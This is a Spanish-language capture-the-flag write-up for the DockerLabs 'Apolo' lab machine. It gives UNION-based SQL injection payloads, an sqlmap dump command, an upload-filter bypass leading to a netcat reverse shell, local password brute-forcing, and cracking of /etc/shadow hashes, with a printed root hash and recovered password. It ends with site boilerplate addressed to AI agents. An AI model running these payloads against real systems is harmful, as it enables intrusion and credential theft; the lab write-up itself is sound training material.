# MAQUINA APOLO ( FUZZING WEB + SQLMAP url-cookie + cracking passwd user + Group shadow)

Enumeración de puertos y servicios

```
nmap -p- --open --min-rate 2000 -n -Pn -sSCV 172.17.0.2 -oN fullservice.txt

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Apple Store
|_http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 02:42:AC:11:00:02 (Unknown)
```

Enumeración de directorios con NMAP.

```
nmap -p80 --script=http-enum.nse 172.17.0.2 -oN directory.txt              

PORT   STATE SERVICE
80/tcp open  http
| http-enum: 
|   /login.php: Possible admin folder
|   /img/: Potentially interesting directory w/ listing on 'apache/2.4.58 (ubuntu)'
|   /uploads/: Potentially interesting directory w/ listing on 'apache/2.4.58 (ubuntu)'
|_  /vendor/: Potentially interesting directory w/ listing on 'apache/2.4.58 (ubuntu)'
MAC Address: 02:42:AC:11:00:02 (Unknown)
```

Se detecto un Login.php y Registrer.php

<figure><img src="/files/iGPH9M89WB4MXdz8wOlz" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/UcZCxld8nXdq4HNFW48y" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/nVNKEvPz7Bc85Ny4UOUF" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/qvcDXVTdUj66tYvj4pJj" alt=""><figcaption></figcaption></figure>

Al probar la funcionalidades detectamos que el panel de búsqueda es vulnerable a SQLi.

```
' UNION SELECT 1,2,3,4,5
```

La inyección `' UNION SELECT 1,2,3,4,5 --` (o variantes como `' union select 1 2 3 4 5`) es una **técnica clásica de reconocimiento en ataques de SQL Injection (SQLi)**. Sirve para **determinar cuántas columnas tiene la consulta original** y si la inyección es **explotable mediante `UNION SELECT`**.

<figure><img src="/files/Cqyr5FsL8lMn1lZOz0PX" alt=""><figcaption></figcaption></figure>

Al ver si hay mas imagenes y vi que se agrego una imagen mas y se alojo los numeros "2 y 3" de las columnas

Payload:

````
' union select 1,null,3,4,5

# como al colocar 2 se escribio en la imagen, aca se puede injectar el comando databases() para ver la db.
```
````

<figure><img src="/files/8vvLUfcGvs6HdTM00QOW" alt=""><figcaption></figcaption></figure>

Payload:

```
' union select 1,database(),3,4,5

> db=apple store.
```

<figure><img src="/files/iIFgVGZ2QiPps076hacE" alt=""><figcaption></figcaption></figure>

Se toma las peticiones que se hacen con burpsuite donde hay 2 url donde que se le agregan el parámetro  "search"

<figure><img src="/files/XgIV0Lc6ou6bSffoSatL" alt=""><figcaption></figcaption></figure>

En cada una se le agrega un cookie

<figure><img src="/files/yq0uNj7PdwTKmzHH9zRk" alt=""><figcaption></figcaption></figure>

Con sqlmap hacemos un dump de los hashes.

```
sqlmap -u http://172.17.0.2/mycart.php?search=' --cookie="PHPSESSID ....." --batch --level=5 --risk=3 --dump

Agregar siempre el parametro "?search= (u otro similar)"

```

<figure><img src="/files/p83YOgOHF06sQUJdgiCx" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/0jNhFrimKNlblumfIfvG" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/CXepR0jsrbUO43cun810" alt=""><figcaption></figcaption></figure>

Tome el hash de admin y con john creackeamos su hash y luego ingrese a la panel de admin.

<figure><img src="/files/tEJwR3TqTWhGa2Jt34lg" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/NhkBeTM9wYwsB4mZ1PUi" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/cLGiExlD6v682gT8thSW" alt=""><figcaption></figcaption></figure>

En una sección hay un panel donde se puede subir archivos PHP.

<figure><img src="/files/ofYvujGvwf16OvDVaz9A" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/CVpzH3VDInfhFKvaGIAf" alt=""><figcaption></figcaption></figure>

Como no permite subir archivos php, con un Burpsuite Intruder y una wordlist de extensiones php logre detectar una extensión valida.

<figure><img src="/files/lxIAw49ixm0u89uCNIxr" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8qI3V225TRHCDzkPNDcq" alt=""><figcaption></figcaption></figure>

En la ruta /upload se aloja la RV encontrada, luego me pongo en escucha con netcat y acceso al archivo sh.phtml

<figure><img src="/files/SPUbFlJEDnzL1Os5e84j" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/MTki08ngqboMZkSfOt5a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9Gmarnu4DGWIq0EioA0Y" alt=""><figcaption></figcaption></figure>

Dentro de la maquina existe un usuario luisillo\_o, en mi caso soy www-data por lo cual hay busco la manera de pivotear al usuario.

No existe SSH para hacer fuerza bruta, pero se puede hacer fuerza bruta a la password dentro de la maquina con una herramienta.

Subo el rockyou y la herramienta suForce al directorio /tmp de la maquina victima.

Luego de un tiempo encontré la password de luisillo\_o, seguido accedí a la maquina como tal

<figure><img src="/files/MFnGCO901IFxdib2skss" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/FBGfD2Kvh5dFOviF3ctB" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/GQSYmgIapnRAI6tx0v4h" alt=""><figcaption></figcaption></figure>

Ahora pase a buscar la forma de acceder como root, para ellos búsqueda varias formas pero no encontré nada, en este caso use el comando ID y vi que pertenece al grupo shadow lo que me indica que este tiene visibilidad con el /etc/shadow.

```
`uid=1001(luisillo_o) gid=1001(luisillo_o) groups=1001(luisillo_o),42(shadow)
```

````
```bash
luisillo_o@664933ae66f3:~$ cat /etc/shadow
root:$y$j9T$awXWvi2tYABgO5kreZcIi/$obvQc0Amd6lFWbwfElQhZD6vpJN/AEV8/hZMXLYTx07:19969:0:99999:7:::
daemon:*:19936:0:99999:7:::
bin:*:19936:0:99999:7:::
sys:*:19936:0:99999:7:::
sync:*:19936:0:99999:7:::
games:*:19936:0:99999:7:::
man:*:19936:0:99999:7:::
lp:*:19936:0:99999:7:::
mail:*:19936:0:99999:7:::
news:*:19936:0:99999:7:::
uucp:*:19936:0:99999:7:::
proxy:*:19936:0:99999:7:::
www-data:*:19936:0:99999:7:::
backup:*:19936:0:99999:7:::
list:*:19936:0:99999:7:::
irc:*:19936:0:99999:7:::
_apt:*:19936:0:99999:7:::
nobody:*:19936:0:99999:7:::
ubuntu:!:19936:0:99999:7:::
_galera:!:19966::::::
mysql:!:19966::::::
luisillo_o:$y$j9T$jeXc8lTJhOBTedetDcKHI/$Bo6qPkbZFVsfWoTJvAZ1x0t2jG3aGsHjOjxkqOpBGg6:19969:0:99999:7:::
````

Con john creakeo el hash de luisillo.

```
https://hashes.com/es/tools/hash_identifier

``$y$j9T$awXWvi2tYABgO5kreZcIi/$obvQc0Amd6lFWbwfElQhZD6vpJN/AEV8/hZMXLYTx07 - Posibles algoritmos: Yescrypt $y$
```

```
john --format=crypt --wordlist=/usr/share/wordlists/rockyou.txt root.txt
rainbow2         (?)     
Session completed.
```

### 2DA FORMA DE VER LA BASE DE DATOS EN LA WEB

Al colocar el payload -> ' union select 1,2,3,4,5 para ver las columnas se ve abre otra imagen donde almacena lo números 2 y 3

<figure><img src="/files/JKbFVX3rFCVk8cl8wzil" alt=""><figcaption></figcaption></figure>

Reemplace el 2 por un NULL lo cual este me lo borro de la imagen.. esto indica que es posible ver información sensible en la pagina.

```
' union select 1,null,3,4,5

```

<figure><img src="/files/U7nzG4FQNRW7W7fXi1kL" alt=""><figcaption></figcaption></figure>

Ahora le pase el comando versión() donde pude ver mediante la web que versión de la db tengo enfrente, en este paso aproveche para verificar el nombre de la base de datos, etc.

```
' union select 1,version(),3,4,5 
```

<figure><img src="/files/WUjlRM1EqivyVTDFP6hw" alt=""><figcaption></figcaption></figure>

```
' union select 1,database(),2,3,4
```

<figure><img src="/files/CuQ6KJ43Dkef9lFm4iwP" alt=""><figcaption></figcaption></figure>

```
' union select 1,user(),2,3,4,5
```

<figure><img src="/files/sZit70LLEWaNLj6UfZyi" alt=""><figcaption></figcaption></figure>

Esa sentencia está intentando extraer los nombres de las tablas de la base de datos actual y mostrarlos en la segunda columna del resultado.

```
' union select 1,group_concat(tabla_name),3,4,5 FROM information_schema.tables WHERE table_schema = database() -- -
```

<figure><img src="/files/QPAO2vSUpZ3t1cxXh7XD" alt=""><figcaption></figcaption></figure>

Extrae y concatena los nombres de todas las columnas de la tabla `users` que pertenece a la base de datos `apple_store`, y los muestra en la segunda columna del resultado.

```
' union select 1, group_concat(column_name),3,4,5, FROM information_schema.columns WHERE table_name = 'users' and table_shcema = 'apple_store' -- - 
```

<figure><img src="/files/gEHfbb5OPnJQaariq7g1" alt=""><figcaption></figcaption></figure>

Esa sentencia intenta extraer directamente los valores de las columnas `id`, `username` y `password` de la tabla `users` dentro de la base de datos `apple_store`, y los muestra en las primeras tres columnas del resultado.

```
' union select id,username,password,4,5 FROM apple_store.users -- -
```

<figure><img src="/files/TT6qy3Jatu0yobBuq5ac" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/z4BP0nvmLzRfh2ZAWQiV" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://1gnotus.gitbook.io/ignotus_pwn/dockerlabs/writeup/maquina-apolo-fuzzing-web-+-sqlmap-url-cookie-+-cracking-passwd-user-+-group-shadow.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
